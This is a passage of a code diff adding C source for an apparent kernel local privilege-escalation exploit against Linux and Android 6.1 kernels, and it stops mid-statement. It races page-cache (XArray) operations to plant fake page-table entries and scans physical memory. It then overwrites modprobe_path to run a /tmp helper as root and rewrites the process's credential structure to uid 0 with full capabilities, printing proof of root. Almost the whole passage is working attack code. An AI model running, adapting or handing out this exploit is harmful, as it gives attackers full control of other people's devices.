"MADV_COLLAPSE attempts=%u errno=%d (%s)\n", + RACE_COLLAPSE_ATTEMPTS, errno, strerror(errno)); + munmap(reservation, 2 * PMD_SIZE); + return rc; +} + +static unsigned char *prepare_order0_shmem_folio(int fd, + void **reservation_out) +{ + void *reservation; + uintptr_t aligned; + unsigned char *mapping; + unsigned long i; + + reservation = mmap(NULL, 2 * PMD_SIZE, PROT_NONE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (reservation == MAP_FAILED) + return MAP_FAILED; + aligned = ((uintptr_t)reservation + PMD_SIZE - 1) & ~(PMD_SIZE - 1); + mapping = mmap((void *)aligned, PMD_SIZE, PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_FIXED, fd, + (off_t)(RACE_FILE_BASE_PGOFF * PAGE_SIZE)); + if (mapping == MAP_FAILED) { + munmap(reservation, 2 * PMD_SIZE); + return MAP_FAILED; + } + if (madvise(mapping, PMD_SIZE, MADV_NOHUGEPAGE) != 0) { + munmap(reservation, 2 * PMD_SIZE); + return MAP_FAILED; + } + for (i = 0; i < PMD_SIZE; i += PAGE_SIZE) + mapping[i] = (unsigned char)(i / PAGE_SIZE); + if (madvise(mapping, PMD_SIZE, MADV_HUGEPAGE) != 0) { + munmap(reservation, 2 * PMD_SIZE); + return MAP_FAILED; + } + *reservation_out = reservation; + return mapping; +} + +static void fill_fake_ptes(uint64_t *alias, uint64_t base_pfn, uint64_t stride) +{ + unsigned long i; + unsigned long entries = FAKE_PT_PAGES * (PAGE_SIZE / sizeof(uint64_t)); + + for (i = 0; i < entries; i++) + alias[i] = ((base_pfn + i * stride) << 12) | USER_PTE_FLAGS; + atomic_thread_fence(memory_order_seq_cst); +} + +static int remap_physical_window(uint64_t *alias, uintptr_t fake_base, + unsigned long mapped_bytes, + unsigned long base_pfn) +{ + fill_fake_ptes(alias, base_pfn, 1); + if (mprotect((void *)fake_base, mapped_bytes, PROT_READ) != 0 || + mprotect((void *)fake_base, mapped_bytes, + PROT_READ | PROT_WRITE) != 0) + return -1; + return 0; +} + +static int prepare_modprobe_helper(void) +{ + char target[64]; + struct stat st; + + if (snprintf(target, sizeof(target), "/proc/%ld/exe", + (long)getpid()) >= (int)sizeof(target)) + return -1; + for (unsigned int attempt = 0; attempt < 256; attempt++) { + unsigned int suffix = ((unsigned int)getpid() + attempt) & 0xffU; + + if (snprintf(modprobe_helper_path, + sizeof(modprobe_helper_path), "/tmp/x%02x", + suffix) >= (int)sizeof(modprobe_helper_path) || + snprintf(modprobe_marker_path, + sizeof(modprobe_marker_path), "%s.marker", + modprobe_helper_path) >= + (int)sizeof(modprobe_marker_path)) + return -1; + if (lstat(modprobe_helper_path, &st) == 0 || errno != ENOENT) + continue; + if (lstat(modprobe_marker_path, &st) == 0 || errno != ENOENT) + continue; + if (symlink(target, modprobe_helper_path) == 0) { + printf("MODPROBE_HELPER_PREPARED path=%s target=%s marker=%s\n", + modprobe_helper_path, target, + modprobe_marker_path); + fflush(stdout); + return 0; + } + } + modprobe_helper_path[0] = '\0'; + modprobe_marker_path[0] = '\0'; + return -1; +} + +static void cleanup_modprobe_helper(void) +{ + if (modprobe_helper_path[0] == '\0') + return; + if (unlink(modprobe_helper_path) == 0) + printf("MODPROBE_HELPER_CLEANUP path=%s removed=1\n", + modprobe_helper_path); + else + printf("MODPROBE_HELPER_CLEANUP path=%s removed=0 errno=%d\n", + modprobe_helper_path, errno); + fflush(stdout); + modprobe_helper_path[0] = '\0'; +} + +static int create_root_marker(void) +{ + static const char payload[] = POST_ROOT_TEXT; + int fd = open(modprobe_marker_path, + O_WRONLY | O_CREAT | O_EXCL | O_CLOEXEC | O_NOFOLLOW, + 0400); + + if (fd < 0) + return -1; + if (fchown(fd, 0, 0) != 0 || fchmod(fd, 0400) != 0 || + write(fd, payload, sizeof(payload) - 1) != + (ssize_t)(sizeof(payload) - 1)) { + close(fd); + return -1; + } + return close(fd); +} + +static int root_marker_exists(void) +{ + struct stat st = { 0 }; + + return lstat(modprobe_marker_path, &st) == 0 && + st.st_uid == 0 && st.st_gid == 0 && + (st.st_mode & 07777) == 0400; +} + +static int trigger_modprobe(void) +{ + static const unsigned char unknown_format[] = { 0xff, 0xff, 0xff, 0xff }; + pid_t child; + int fd; + int status = 0; + + fd = open(MODPROBE_TRIGGER_PATH, + O_WRONLY | O_CREAT | O_TRUNC | O_CLOEXEC | O_NOFOLLOW, 0700); + if (fd < 0) + return -1; + if (fchmod(fd, 0700) != 0 || + write(fd, unknown_format, sizeof(unknown_format)) != + (ssize_t)sizeof(unknown_format) || + close(fd) != 0) + return -1; + + child = fork(); + if (child == 0) { + execl(MODPROBE_TRIGGER_PATH, MODPROBE_TRIGGER_PATH, NULL); + _exit(errno == ENOEXEC ? 0 : 126); + } + if (child < 0 || waitpid(child, &status, 0) < 0) + return -1; + (void)unlink(MODPROBE_TRIGGER_PATH); + if (!root_marker_exists()) + return -1; + printf("MODPROBE_ROOT_MARKER uid=0 gid=0 mode=0400 child_status=%d\n", + WIFEXITED(status) ? WEXITSTATUS(status) : -1); + fflush(stdout); + return 0; +} + +static int patch_modprobe_path(uintptr_t fake_base, + unsigned long mapped_bytes, + unsigned long base_pfn) +{ + static const unsigned char original[] = MODPROBE_PATH_ORIGINAL; + unsigned char replacement[sizeof(original)] = { 0 }; + const unsigned long pages = mapped_bytes / PAGE_SIZE; + unsigned long candidates = 0; + + if (modprobe_helper_path[0] == '\0') + return -1; + memcpy(replacement, modprobe_helper_path, + strlen(modprobe_helper_path)); + for (unsigned long page = 0; page < pages; page++) { + volatile unsigned char *page_base = + (volatile unsigned char *)fake_base + page * PAGE_SIZE; + unsigned char probe; + + if (safe_read(page_base, &probe) != 0) + continue; + for (unsigned long offset = 0; + offset + sizeof(original) <= PAGE_SIZE; + offset++) { + unsigned char saved[sizeof(original)]; + volatile unsigned char *candidate = page_base + offset; + + if (memcmp((const void *)candidate, original, + sizeof(original)) != 0) + continue; + candidates++; + for (unsigned long i = 0; i < sizeof(saved); i++) { + saved[i] = candidate[i]; + candidate[i] = replacement[i]; + } + atomic_thread_fence(memory_order_seq_cst); + printf("MODPROBE_PATH_CANDIDATE pfn=%#lx page_offset=%#lx candidate=%lu\n", + base_pfn + page, offset, candidates); + fflush(stdout); + { + int trigger_rc = trigger_modprobe(); + + for (unsigned long i = 0; i < sizeof(saved); i++) + candidate[i] = saved[i]; + atomic_thread_fence(memory_order_seq_cst); + if (trigger_rc == 0) { + printf("MODPROBE_PATH_PATCH selected=1 restored=1 pfn=%#lx page_offset=%#lx replacement=%s\n", + base_pfn + page, offset, + modprobe_helper_path); + fflush(stdout); + return 0; + } + } + } + } + printf("MODPROBE_PATH_SCAN base_pfn=%#lx bytes=%lu candidates=%lu selected=0\n", + base_pfn, mapped_bytes, candidates); + fflush(stdout); + return -1; +} + + +static void *reserve_layout(uintptr_t *root_out) +{ + static const uintptr_t roots[] = { + 0x400000000000ULL, 0x3f8000000000ULL, + 0x300000000000ULL, 0x200000000000ULL + }; + unsigned int i; + + for (i = 0; i < sizeof(roots) / sizeof(roots[0]); i++) { + void *p = mmap((void *)roots[i], + LAYOUT_CANDIDATES * PUD_SIZE, PROT_NONE, + MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED_NOREPLACE, + -1, 0); + if (p != MAP_FAILED) { + *root_out = roots[i]; + return p; + } + } + return MAP_FAILED; +} + +static int touch_file_byte(const char *p) +{ + char byte; + return pread(sink_fd, &byte, 1, 0) == 1 && pwrite(sink_fd, p, 1, 0) == 1 ? 0 : -1; +} + + + +static int patch_current_credentials(uintptr_t fake_base, + unsigned long mapped_bytes, + unsigned long base_pfn) +{ + enum { + CRED_USAGE_OFFSET = 0, + CRED_IDS_OFFSET = 4, + CRED_SECUREBITS_OFFSET = 36, + CRED_CAP_INHERITABLE_OFFSET = 40, + CRED_CAP_PERMITTED_OFFSET = 48, + CRED_CAP_EFFECTIVE_OFFSET = 56, + CRED_CAP_BSET_OFFSET = 64, + CRED_CAP_AMBIENT_OFFSET = 72, + CRED_SECURITY_OFFSET = 120, + CRED_SIZE = 176, + }; + const uint32_t expected_ids[8] = { + target_ruid, target_rgid, target_suid, target_sgid, + target_euid, target_egid, target_fsuid, target_fsgid, + }; + const unsigned long pages = mapped_bytes / PAGE_SIZE; + unsigned long candidates = 0; + unsigned long id_matches = 0; + + for (unsigned long page = 0; page < pages; page++) { + volatile unsigned char *page_base = + (volatile unsigned char *)fake_base + page * PAGE_SIZE; + unsigned char probe; + + if (safe_read(page_base, &probe) != 0) + continue; + for (unsigned long offset = 0; + offset + CRED_SIZE <= PAGE_SIZE; offset += sizeof(uint64_t)) { + volatile unsigned char *cred = page_base + offset; + uint32_t saved_ids[8]; + uint32_t saved_securebits; + uint64_t saved_permitted, saved_effective; + uint64_t security; + uint32_t usage; + unsigned int id; + + for (id = 0; id < 8; id++) { + if (*(volatile uint32_t *) + (cred + CRED_IDS_OFFSET + + id * sizeof(uint32_t)) != expected_ids[id]) + break; + } + if (id != 8) + continue; + id_matches++; + usage = *(volatile uint32_t *)(cred + CRED_USAGE_OFFSET); + security = *(volatile uint64_t *)(cred + + CRED_SECURITY_OFFSET); + if (usage == 0 || usage > 0x100000 || + *(volatile uint64_t *) + (cred + CRED_CAP_INHERITABLE_OFFSET) != 0 || + *(volatile uint64_t *) + (cred + CRED_CAP_PERMITTED_OFFSET) != 0 || + *(volatile uint64_t *) + (cred + CRED_CAP_EFFECTIVE_OFFSET) != 0 || + *(volatile uint64_t *) + (cred + CRED_CAP_AMBIENT_OFFSET) != 0 || + (security >> 48) != 0xffff) + continue; + + candidates++; + printf("CRED_CANDIDATE layout=android-6.1-btf pfn=%#lx page_offset=%#lx usage=%u bset=%#llx ambient=%#llx security=%#llx\n", + base_pfn + page, offset, usage, + (unsigned long long)*(volatile uint64_t *) + (cred + CRED_CAP_BSET_OFFSET), + (unsigned long long)*(volatile uint64_t *) + (cred + CRED_CAP_AMBIENT_OFFSET), + (unsigned long long)security); + for (id = 0; id < 8; id++) + saved_ids[id] = *(volatile uint32_t *) + (cred + CRED_IDS_OFFSET + + id * sizeof(uint32_t)); + saved_securebits = *(volatile uint32_t *) + (cred + CRED_SECUREBITS_OFFSET); + saved_permitted = *(volatile uint64_t *) + (cred + CRED_CAP_PERMITTED_OFFSET); + saved_effective = *(volatile uint64_t *) + (cred + CRED_CAP_EFFECTIVE_OFFSET); + for (id = 0; id < 8; id++) + *(volatile uint32_t *) + (cred + CRED_IDS_OFFSET + + id * sizeof(uint32_t)) = 0; + *(volatile uint32_t *)(cred + CRED_SECUREBITS_OFFSET) = 0; + *(volatile uint64_t *)(cred + CRED_CAP_PERMITTED_OFFSET) = + CAP_VALID_MASK_7_1; + *(volatile uint64_t *)(cred + CRED_CAP_EFFECTIVE_OFFSET) = + CAP_VALID_MASK_7_1; + atomic_thread_fence(memory_order_seq_cst); + + if (getuid() == 0 && geteuid() == 0) { + printf("CRED_SCAN layout=android-6.1-btf base_pfn=%#lx bytes=%lu id_matches=%lu candidates=%lu selected=1\n", + base_pfn, mapped_bytes, id_matches, + candidates); + printf("CRED_PATCH layout=android-6.1-btf pfn=%#lx page_offset=%#lx permitted=%#llx effective=%#llx\n", + base_pfn + page, offset, + (unsigned long long)CAP_VALID_MASK_7_1, + (unsigned long long)CAP_VALID_MASK_7_1); + fflush(stdout); + return 0; + } + + for (id = 0; id < 8; id++) + *(volatile uint32_t *) + (cred + CRED_IDS_OFFSET + + id * sizeof(uint32_t)) = saved_ids[id]; + *(volatile uint32_t *)(cred + CRED_SECUREBITS_OFFSET) = + saved_securebits; + *(volatile uint64_t *)(cred + CRED_CAP_PERMITTED_OFFSET) = + saved_permitted; + *(volatile uint64_t *)(cred + CRED_CAP_EFFECTIVE_OFFSET) = + saved_effective; + atomic_thread_fence(memory_order_seq_cst); + } + } + + printf("CRED_SCAN layout=android-6.1-btf base_pfn=%#lx bytes=%lu id_matches=%lu candidates=%lu selected=0\n", + base_pfn, mapped_bytes, id_matches, candidates); + fflush(stdout); + return -1; +} + +static int read_proc_fs_ids(uid_t *fsuid, gid_t *fsgid) +{ + char line[256]; + unsigned int real_id, effective_id, saved_id, filesystem_id; + int have_uid = 0; + int have_gid = 0; + FILE *status = fopen("/proc/self/status", "re"); + + if (status == NULL) + return -1; + while (fgets(line, sizeof(line), status) != NULL) { + if (!have_uid && + sscanf(line, "Uid:\t%u\t%u\t%u\t%u", + &real_id, &effective_id, &saved_id, + &filesystem_id) == 4) { + *fsuid = (uid_t)filesystem_id; + have_uid = 1; + } else if (!have_gid && + sscanf(line, "Gid:\t%u\t%u\t%u\t%u", + &real_id, &effective_id, &saved_id, + &filesystem_id) == 4) { + *fsgid = (gid_t)filesystem_id; + have_gid = 1; + } + if (have_uid && have_gid) + break; + } + fclose(status); + return have_uid && have_gid ? 0 : -1; +} + +static int prove_root_identity(void) +{ + struct __user_cap_header_struct hdr = { + .version = _LINUX_CAPABILITY_VERSION_3, + .pid = 0, + }; + struct __user_cap_data_struct caps[2] = { 0 }; + uid_t ruid = (uid_t)-1, euid = (uid_t)-1, suid = (uid_t)-1; + gid_t rgid = (gid_t)-1, egid = (gid_t)-1, sgid = (gid_t)-1; + uid_t fsuid = (uid_t)-1; + gid_t fsgid = (gid_t)-1; + char proof[64] = { 0 }; + uint64_t effective; + int fd; + ssize_t n; + int cap_rc; + + int identity_rc; + + identity_rc = getresuid(&ruid, &euid, &suid) != 0 || + getresgid(&rgid, &egid, &sgid) != 0 || + read_proc_fs_ids(&fsuid, &fsgid) != 0; + cap_rc = (int)syscall(SYS_capget, &hdr, caps); + effective = ((uint64_t)caps[1].effective << 32) | caps[0].effective; + fd = open(ROOT_PROOF_PATH, O_RDONLY | O_CLOEXEC | O_NOFOLLOW); + n = fd >= 0 ? read(fd, proof, sizeof(proof) - 1) : -1; + if (fd >= 0) + close(fd); + printf("ROOT_IDENTITY uid=%u euid=%u suid=%u gid=%u egid=%u sgid=%u fsuid=%u fsgid=%u identity_rc=%d capget_rc=%d cap_effective=%#llx\n", + ruid, euid, suid, rgid, egid, sgid, fsuid, fsgid, + identity_rc, cap_rc, (unsigned long long)effective); + printf("ROOT_PROOF required=%d open=%d read=%ld data=%.*s\n", + root_proof_required, fd >= 0, (long)n, + n > 0 ? (int)n : 0, proof); + fflush(stdout); + return identity_rc == 0 && + ruid == 0 && euid == 0 && suid == 0 && + rgid == 0 && egid == 0 && sgid == 0 && + fsuid == 0 && fsgid == 0 && cap_rc == 0 && + (effective & ROOT_REQUIRED_CAPS) == ROOT_REQUIRED_CAPS && + (!root_proof_required || + (n == (ssize_t)strlen(ROOT_PROOF_TEXT) && + memcmp(proof, ROOT_PROOF_TEXT, strlen(ROOT_PROOF_TEXT)) == 0)) ? + 0 : -1; +} + +static int prove_post_root_create(void) +{ + static const char payload[] = POST_ROOT_TEXT; + char observed[64] = { 0 }; + struct stat st = { 0 }; + int fd; + ssize_t n; + + fd = open(post_root_path, + O_WRONLY | O_CREAT | O_EXCL | O_CLOEXEC | O_NOFOLLOW, 0400); + if (fd < 0) { + printf("POST_ROOT_CREATE path=%s created=0 errno=%d (%s)\n", + post_root_path, errno, strerror(errno)); + return -1; + } + if (fchown(fd, 0, 0) != 0 || fchmod(fd, 0400) != 0 || + write(fd, payload, sizeof(payload) - 1) != + (ssize_t)(sizeof(payload) - 1)) { + close(fd); + return -1; + } + if (close(fd) != 0) + return -1; + + fd = open(post_root_path, O_RDONLY | O_CLOEXEC | O_NOFOLLOW); + n = fd >= 0 ? read(fd, observed, sizeof(observed) - 1) : -1; + if (fd >= 0) + close(fd); + if (lstat(post_root_path, &st) != 0) + return -1; + printf("POST_ROOT_CREATE path=%s created=1 uid=%u gid=%u mode=%#o read=%ld data=%.*s\n", + post_root_path, st.st_uid, st.st_gid, st.st_mode & 07777, + (long)n, n > 0 ? (int)n : 0, observed); + fflush(stdout); + return st.st_uid == 0 && st.st_gid == 0 && + (st.st_mode & 07777) == 0400 && + n == (ssize_t)strlen(POST_ROOT_TEXT) && + memcmp(observed, POST_ROOT_TEXT, strlen(POST_ROOT_TEXT)) == 0 ? + 0 : -1; +} + +static int run_exploit(int rounds) +{ + pthread_t threads[FAULT_THREADS]; + pthread_t membarrier_threads[RACE_MEMBARRIER_WORKERS > 0 ? + RACE_MEMBARRIER_WORKERS : 1]; + uintptr_t root; + uintptr_t candidate_roots[LAYOUT_CANDIDATES]; + uintptr_t source_bases[LAYOUT_CANDIDATES]; + uintptr_t fake_bases[LAYOUT_CANDIDATES]; + void *layout; + char *dummies[LAYOUT_CANDIDATES]; + char *marker, *tlb_flush_pad; + cpu_set_t groom_saved_set; + int groom_cpu = -1; + int groom_fd = -1; + int i; + int success = 0; + int winning_fd = -1; + uint64_t *winning_alias = MAP_FAILED; + unsigned long mapped_bytes = 0; + uintptr_t winning_fake_base = 0; + unsigned long winning_pmds = 0; + char *winning_source = MAP_FAILED; + unsigned long mutation_failures = 0; + unsigned long active_gate_misses = 0; + struct sigaction sa = { .sa_handler = fault_signal }; + + if (getresuid(&target_ruid, &target_euid, &target_suid) != 0 || + getresgid(&target_rgid, &target_egid, &target_sgid) != 0 || + read_proc_fs_ids(&target_fsuid, &target_fsgid) != 0) { + perror("capture identity"); + return 2; + } + if (target_ruid == 0 || target_euid == 0 || target_suid == 0 || + target_rgid == 0 || target_egid == 0 || target_sgid == 0 || + target_fsuid == 0 || target_fsgid == 0) { + fprintf(stderr, "EXPLOIT_REFUSED privileged initial identity\n"); + return 2; + } + (void)prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0); + (void)prctl(PR_SET_DUMPABLE, 1, 0, 0, 0); + (void)prctl(PR_SET_NAME, "xarr-lpe-main", 0, 0, 0); + printf("EXPLOIT_IDENTITY uid=%u euid=%u suid=%u gid=%u egid=%u sgid=%u fsuid=%u fsgid=%u nnp=%d\n", + target_ruid, target_euid, target_suid, + target_rgid, target_egid, target_sgid, + target_fsuid, target_fsgid, + prctl(PR_GET_NO_NEW_PRIVS, 0, 0, 0, 0)); + fflush(stdout); + { + struct __user_cap_header_struct hdr = { + .version = _LINUX_CAPABILITY_VERSION_3, + .pid = 0, + }; + struct __user_cap_data_struct caps[2] = { 0 }; + int rc = (int)syscall(SYS_capget, &hdr, caps); + uint64_t effective = ((uint64_t)caps[1].effective << 32) | + caps[0].effective; + + printf("EXPLOIT_CAPS capget_rc=%d effective=%#llx\n", rc, + (unsigned long long)effective); + fflush(stdout); + } + { + int fd; + int saved_errno; + + errno = 0; + fd = open(ROOT_PROOF_PATH, O_RDONLY | O_CLOEXEC | O_NOFOLLOW); + saved_errno = errno; + root_proof_required = + getenv("XARR_REQUIRE_ROOT_PROOF") != NULL; + printf("PRE_ROOT_PROOF required=%d open=%d errno=%d (%s)\n", + root_proof_required, fd >= 0, saved_errno, + strerror(saved_errno)); + fflush(stdout); + if (fd >= 0) { + close(fd); + return 2; + } + } + + memset(&sa.sa_mask, 0, sizeof(sa.sa_mask)); + sa.sa_flags = SA_NODEFER; + sigaction(SIGSEGV, &sa, NULL); + sigaction(SIGBUS, &sa, NULL); + + sink_fd = (int)syscall(SYS_memfd_create, "xarray-sink", MFD_CLOEXEC); + groom_fd = (int)syscall(SYS_memfd_create, "xarray-groom", MFD_CLOEXEC); + if (sink_fd < 0 || groom_fd < 0 || ftruncate(sink_fd, PAGE_SIZE) != 0 || + ftruncate(groom_fd, PAGE_SIZE) != 0) { + perror("prepare grooming files"); + return 2; + } + if (pwrite(groom_fd, "G", 1, 0) != 1) { + perror("populate grooming file"); + return 2; + } + + marker = mmap(NULL, MARKER_PAGES * PAGE_SIZE, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (marker == MAP_FAILED) { + perror("marker mmap"); + return 2; + } + (void)madvise(marker, MARKER_PAGES * PAGE_SIZE, MADV_NOHUGEPAGE); + for (unsigned long page = 0; page < MARKER_PAGES; page++) { + unsigned char *p = (unsigned char *)marker + page * PAGE_SIZE; + memcpy(p, MARKER_MAGIC, sizeof(MARKER_MAGIC)); + memcpy(p + 32, &page, sizeof(page)); + p[128] = (unsigned char)(page ^ 0x5a); + } + printf("MARKER_SPRAY pages=%lu bytes=%lu\n", MARKER_PAGES, + MARKER_PAGES * PAGE_SIZE); + tlb_flush_pad = mmap(NULL, TLB_FLUSH_PAGES * PAGE_SIZE, + PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (tlb_flush_pad == MAP_FAILED) { + perror("tlb flush pad mmap"); + return 2; + } + (void)madvise(tlb_flush_pad, TLB_FLUSH_PAGES * PAGE_SIZE, + MADV_NOHUGEPAGE); + for (unsigned long page = 0; page < TLB_FLUSH_PAGES; page++) + tlb_flush_pad[page * PAGE_SIZE] = 0; + if ((RACE_MEMBARRIER_SHOTS > 0 || RACE_MEMBARRIER_WORKERS > 0) && + syscall(SYS_membarrier, + MEMBARRIER_CMD_REGISTER_PRIVATE_EXPEDITED, 0, 0) != 0) { + perror("register private expedited membarrier"); + return 2; + } + + if (RACE_PIN_WORKERS) { + cpu_set_t set; + + CPU_ZERO(&set); + CPU_SET(0, &set); + if (sched_setaffinity(0, sizeof(set), &set) != 0) { + perror("pin race coordinator"); + return 2; + } + } + layout = reserve_layout(&root); + if (layout == MAP_FAILED) { + perror("reserve fixed layout"); + return 2; + } + for (unsigned int candidate = 0; + candidate < LAYOUT_CANDIDATES; candidate++) { + candidate_roots[candidate] = root + candidate * PUD_SIZE; + source_bases[candidate] = candidate_roots[candidate] + + (candidate == 0 ? SOURCE_ENTRY * PMD_SIZE : 0); + fake_bases[candidate] = candidate_roots[candidate] + + CORRUPT_FIRST_PMD * PMD_SIZE; + } + + /* + * Install every VMA before the allocation-sensitive page-table + * sequence. A candidate's PTE page may physically follow its PMD page; + * the next candidate's PMD allocation may physically follow that PTE + * page. Racing each adjacent pair provides repeated opportunities on + * guests that shuffle the page allocator while preserving the original + * two-candidate geometry by default. + */ + for (unsigned int candidate = 0; + candidate < LAYOUT_CANDIDATES; candidate++) { + dummies[candidate] = mmap( + (void *)(source_bases[candidate] + PMD_SIZE - PAGE_SIZE), + PAGE_SIZE, PROT_READ, MAP_SHARED | MAP_FIXED, groom_fd, 0); + if (dummies[candidate] == MAP_FAILED || + mmap((void *)fake_bases[candidate], FAKE_WINDOW_SIZE, + PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, + -1, 0) == MAP_FAILED) { + perror("install fixed candidate VMAs"); + return 2; + } + } + + /* + * Keep every page-table fault on one allowed CPU so the order-0 + * allocations use one per-CPU page list. + */ + if (sched_getaffinity(0, sizeof(groom_saved_set), + &groom_saved_set) != 0) { + perror("read groom affinity"); + return 2; + } + groom_cpu = sched_getcpu(); + if (groom_cpu < 0 || !CPU_ISSET(groom_cpu, &groom_saved_set)) { + for (int cpu = 0; cpu < CPU_SETSIZE; cpu++) { + if (CPU_ISSET(cpu, &groom_saved_set)) { + groom_cpu = cpu; + break; + } + } + } + if (groom_cpu < 0) { + fprintf(stderr, "no allowed groom CPU\n"); + return 2; + } + { + cpu_set_t groom_single_set; + + CPU_ZERO(&groom_single_set); + CPU_SET(groom_cpu, &groom_single_set); + if (sched_setaffinity(0, sizeof(groom_single_set), + &groom_single_set) != 0) { + perror("pin page-table groom"); + return 2; + } + } + for (unsigned int candidate = 0; + candidate < LAYOUT_CANDIDATES; candidate++) { + if (touch_file_byte(dummies[candidate]) != 0) { + (void)sched_setaffinity(0, sizeof(groom_saved_set), + &groom_saved_set); + perror("fault candidate grooming mapping"); + return 2; + } + } + if (sched_setaffinity(0, sizeof(groom_saved_set), + &groom_saved_set) != 0) { + perror("restore groom affinity"); + return 2; + } + printf("PAGETABLE_GROOM root=%#lx cpu=%d candidates=%u first_source=%#lx first_fake=%#lx last_source=%#lx last_fake=%#lx\n", + (unsigned long)root, groom_cpu, + (unsigned int)LAYOUT_CANDIDATES, + (unsigned long)source_bases[0], + (unsigned long)fake_bases[0], + (unsigned long)source_bases[LAYOUT_CANDIDATES - 1], + (unsigned long)fake_bases[LAYOUT_CANDIDATES - 1]); + fflush(stdout); + + for (unsigned int candidate = 0; + candidate < LAYOUT_CANDIDATES; candidate++) { + unsigned char resident = 0xff; + int pre_rc = mincore((void *)fake_bases[candidate], PAGE_SIZE, + &resident); + + printf("FAKE_WINDOW_PRECONDITION candidate=%u mincore_rc=%d resident=%u\n", + candidate, pre_rc, resident & 1); + if (pre_rc != 0 || (resident & 1) != 0) + return 2; + } + + atomic_store(&run_state, 0); + atomic_store(&active_workers, 0); + atomic_store(&fault_callers, 0); + atomic_store(&fault_started, 0); + atomic_store(&fault_done, 0); + atomic_store(&fault_release, 0); + for (i = 0; i < FAULT_THREADS; i++) { + if (pthread_create(&threads[i], NULL, fault_worker, + (void *)(uintptr_t)i) != 0) { + perror("pthread_create"); + return 2; + } + } + atomic_store(&membarrier_calls, 0); + for (i = 0; i < RACE_MEMBARRIER_WORKERS; i++) { + if (pthread_create(&membarrier_threads[i], NULL, + membarrier_worker, NULL) != 0) { + perror("pthread_create membarrier"); + return 2; + } + } + + for (i = 0; i < rounds; i++) { + int fd; + char *source; + char *sources[RACE_SOURCE_VIEWS]; + uint64_t *alias; + unsigned char *whole = MAP_FAILED; + void *whole_reservation = MAP_FAILED; + volatile unsigned int delay; + const unsigned int candidate = RACE_ROTATE_LAYOUT ? + (unsigned int)i % (LAYOUT_CANDIDATES - 1) : + RACE_LAYOUT_CANDIDATE; + const uintptr_t race_source_base = source_bases[candidate]; + int mutation_ready = 1; + + fd = (int)syscall(SYS_memfd_create, "xarray-race", + MFD_CLOEXEC); + if (fd < 0 || + ftruncate(fd, (off_t)((RACE_FILE_BASE_PGOFF + 512UL) * + PAGE_SIZE)) != 0) { + perror("prepare race file"); + return 3; + } + if (RACE_MUTATION_MODE == 3) { + whole = prepare_order0_shmem_folio(fd, + &whole_reservation); + if (whole == MAP_FAILED) { + perror("prepare order-0 race folio"); + return 3; + } + } else if (prepare_large_shmem_folio(fd) != 0) { + perror("prepare race folio"); + return 3; + } + for (unsigned int view = 0; view < RACE_SOURCE_VIEWS; view++) { + sources[view] = mmap( + (void *)(race_source_base + view * SOURCE_SIZE), + SOURCE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, + MAP_SHARED | MAP_FIXED, fd, + (RACE_FILE_BASE_PGOFF + SOURCE_PGOFF + + view * SOURCE_SIZE / PAGE_SIZE) * PAGE_SIZE); + if (sources[view] == MAP_FAILED) { + perror("map source race view"); + return 2; + } + } + source = sources[0]; + alias = mmap(NULL, FAKE_ALIAS_SIZE, PROT_READ | PROT_WRITE, + MAP_SHARED, fd, + (off_t)((RACE_FILE_BASE_PGOFF + 64UL) * + PAGE_SIZE)); + if (alias == MAP_FAILED) { + perror("map fake-PTE alias"); + return 2; + } + /* + * Populate every candidate page-table page. Vendor kernels can + * expose a different backward XArray span, so fixed probe slots + * would miss an otherwise usable page-table installation. + */ + fill_fake_ptes(alias, PHYS_BASE_PFN, 1); + + for (unsigned int view = 0; view < RACE_SOURCE_VIEWS; view++) + atomic_store_explicit(&fault_addrs[view], sources[view], + memory_order_release); + atomic_store_explicit(&fault_started, 0, + memory_order_release); + atomic_store_explicit(&fault_done, 0, + memory_order_release); + if (STARTUP_WAIT_ALL_WORKERS) + atomic_store_explicit(&fault_release, 0, + memory_order_release); + atomic_store_explicit(&run_state, 1, memory_order_release); + if (STARTUP_WAIT_ACTIVE) { + if (STARTUP_WAIT_ALL_WORKERS) { + while (atomic_load_explicit( + &active_workers, + memory_order_acquire) != + FAULT_THREADS) + sched_yield(); + atomic_store_explicit(&fault_release, 1, + memory_order_release); + } + while (atomic_load_explicit(&fault_callers, + memory_order_acquire) == 0 && + atomic_load_explicit(&fault_done, + memory_order_acquire) != + FAULT_THREADS) + sched_yield(); + if (atomic_load_explicit(&fault_callers, + memory_order_acquire) == 0) + active_gate_misses++; + } + for (delay = 0; + delay < ((unsigned int)i % DELAY_PERIOD) * DELAY_STEP; + delay++) + __asm__ __volatile__("" ::: "memory"); +#if RACE_MEMBARRIER_SHOTS > 0 + for (unsigned int shot = 0; + shot < RACE_MEMBARRIER_SHOTS; shot++) + (void)syscall(SYS_membarrier, + MEMBARRIER_CMD_PRIVATE_EXPEDITED, 0, 0); +#endif + if (RACE_MUTATION_MODE == 2) { + const unsigned long minimum_local_pages = + SOURCE_PGOFF + SOURCE_SIZE / PAGE_SIZE; + const unsigned long new_pages = + RACE_FILE_BASE_PGOFF + minimum_local_pages + + (unsigned long)i % + (512UL - minimum_local_pages); + + if (ftruncate(fd, (off_t)(new_pages * PAGE_SIZE)) != 0 || + ftruncate(fd, + (off_t)((RACE_FILE_BASE_PGOFF + 512UL) * + PAGE_SIZE)) != 0) { + mutation_ready = 0; + mutation_failures++; + } + } else if (RACE_MUTATION_MODE == 3) { + mutation_ready = 0; + for (unsigned int attempt = 0; + attempt < RACE_COLLAPSE_ATTEMPTS; attempt++) { + if (madvise(whole, PMD_SIZE, MADV_COLLAPSE) == 0) { + mutation_ready = 1; + break; + } + if (errno != EAGAIN && errno != EBUSY) + break; + collapse_retry_pause(); + } + if (!mutation_ready) + mutation_failures++; + } + if (mutation_ready && RACE_MUTATION_MODE != 2) + (void)fallocate(fd, + FALLOC_FL_PUNCH_HOLE | + FALLOC_FL_KEEP_SIZE, + (off_t)(RACE_FILE_BASE_PGOFF * PAGE_SIZE), + PAGE_SIZE); + atomic_store_explicit(&run_state, 0, memory_order_release); + while (atomic_load_explicit(&active_workers, memory_order_acquire) != 0) + sched_yield(); + if (mprotect(tlb_flush_pad, 